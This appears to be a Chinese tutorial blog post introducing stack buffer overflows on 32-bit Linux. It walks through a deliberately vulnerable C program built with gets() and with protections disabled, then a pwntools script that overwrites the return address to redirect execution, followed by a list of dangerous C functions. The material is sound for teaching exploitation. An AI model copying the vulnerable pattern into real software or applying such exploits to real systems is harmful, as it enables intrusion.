棧溢出攻擊系列(1)
函數(shù)條用約定(Linux)
需要注意的是,32 位和 64 位程序有以下簡單的區(qū)別 x86 函數(shù)參數(shù)在函數(shù)返回地址的上方 x64 System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六個整型或指針參數(shù)依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果還有更多的參數(shù)的話才會保存在棧上。 內(nèi)存地址不能大于 0x00007FFFFFFFFFFF,6 個字節(jié)長度,否則會拋出異常。
堆棧溢出原理
棧溢出指的是程序向棧中某個變量中寫入的字節(jié)數(shù)超過了這個變量本身所申請的字節(jié)數(shù),因而導(dǎo)致與其相鄰的棧中的變量的值被改變。這種問題是一種特定的緩沖區(qū)溢出漏洞,類似的還有堆溢出,bss 段溢出等溢出方式。棧溢出漏洞輕則可以使程序崩潰,重則可以使攻擊者控制程序執(zhí)行流程。此外,我們也不難發(fā)現(xiàn),發(fā)生棧溢出的基本前提是
程序必須向棧上寫入數(shù)據(jù)
寫入的數(shù)據(jù)大小沒有被良好地控制。
基本示例
勢力代碼exit.c如下:
#include<stdio.h>
#include <string.h>
#include<stdlib.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable(){
? ?char s[12];
? ?gets(s);
? ?puts(s);
? ?return;
}
int main(){
? ?vulnerable();
? ?return 0;
}
這個程序的主要目的讀取一個字符串,并將其輸出。我們希望可以控制程序執(zhí)行 success 函數(shù)。 通過gcc進(jìn)行編譯:
gcc -m32 -ggdb -z execstack -fno-stack-protector ?-no-pie -o pwnme exit.c
關(guān)閉pie、關(guān)閉棧保護(Canary),堆??蓤?zhí)行(NX為開啟)。通過checksec查看,如圖:

使用radare2進(jìn)行調(diào)試: 首先查看success的地址,如下所示為0x08048456,由于關(guān)閉了pie和ASLR,這個值是固定的。

對pwnme這個程序中進(jìn)行逆向,查看vulnerable的匯編代碼:

攻擊思路
由于gets 本身是一個危險函數(shù)。它從不檢查輸入字符串的長度,而是以回車來判斷輸入是否結(jié)束,所以很容易可以導(dǎo)致棧溢出。而本次溢出攻擊基于的就是gets函數(shù)。 通過radare2進(jìn)行調(diào)試,在puts函數(shù)斷點,輸入'AAAAAAA',查看函數(shù)堆棧情況如下:

通過分析匯編代碼和堆棧數(shù)據(jù),可以得出如下所示的棧結(jié)構(gòu)。
? ?High
? ?Address | ? ? ? ? ? ? ? ? |
? ? ? ? ? ?+-----------------+
? ? ? ? ? ?| args ? ? ? ? ? ?|
? ? ? ? ? ?+-----------------+
? ? ? ? ? ?| return address ?|
? ? ? ? ? ?+-----------------+
? ? ? ? ebp | old ebp ? ? ? ? |
? ? ? ? ? ?+-----------------+
? ? ? ? ? ?| ? ... ? ? ? ? ? |
? ? ? ? ? ?+-----------------+
? ? ?ebp-14| local variables |
? ?Low ? ? | ? ? ? ? ? ? ? ? |
? ?Address
要執(zhí)行success函數(shù),我們可以直接將堆棧中返回地址(return address)的值設(shè)置為success的地址,然后,當(dāng)vulnerable返回的時候,就會跳轉(zhuǎn)到success函數(shù)的地址。
攻擊代碼
##coding=utf8
from pwn import *
## 構(gòu)造與程序交互的對象
sh = process('./pwnme')
success_addr = 0x08048456
## 構(gòu)造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序發(fā)送字符串
sh.sendline(payload)
## 將代碼交互轉(zhuǎn)換為手工交互
sh.interactive()
運行python代碼,效果如圖所示,我們成功的調(diào)用了success函數(shù)。

小總結(jié)
上面的示例其實也展示了棧溢出中比較重要的幾個步驟。
尋找危險函數(shù)
通過尋找危險函數(shù),我們快速確定程序是否可能有棧溢出,以及有的話,棧溢出的位置在哪里。常見的危險函數(shù)如下
輸入
? ?gets,直接讀取一行,忽略'\x00'
? ?scanf
? ?vscanf
輸出
? ?sprintf
字符串
? ?strcpy,字符串復(fù)制,遇到'\x00'停止
? ?strcat,字符串拼接,遇到'\x00'停止
? ?bcopy
確定填充長度
這一部分主要是計算我們所要操作的地址與我們所要覆蓋的地址的距離。常見的操作方法就是打開Radare2,根據(jù)其給定的地址計算偏移。一般變量會有以下幾種索引模式
相對于棧基地址的的索引,可以直接通過查看 EBP 相對偏移獲得
相對應(yīng)棧頂指針的索引,一般需要進(jìn)行調(diào)試,之后還是會轉(zhuǎn)換到第一種類型。
直接地址索引,就相當(dāng)于直接給定了地址。
一般來說,我們會有如下的覆蓋需求
覆蓋函數(shù)返回地址,這時候就是直接看 EBP 即可。
覆蓋棧上某個變量的內(nèi)容,這時候就需要更加精細(xì)的計算了。
覆蓋 bss 段某個變量的內(nèi)容。
根據(jù)現(xiàn)實執(zhí)行情況,覆蓋特定的變量或地址的內(nèi)容。
之所以我們想要覆蓋某個地址,是因為我們想通過覆蓋地址的方法來直接或者間接地控制程序執(zhí)行流程。
公眾號
更過安全相關(guān)內(nèi)容,歡迎關(guān)注我的公眾號:
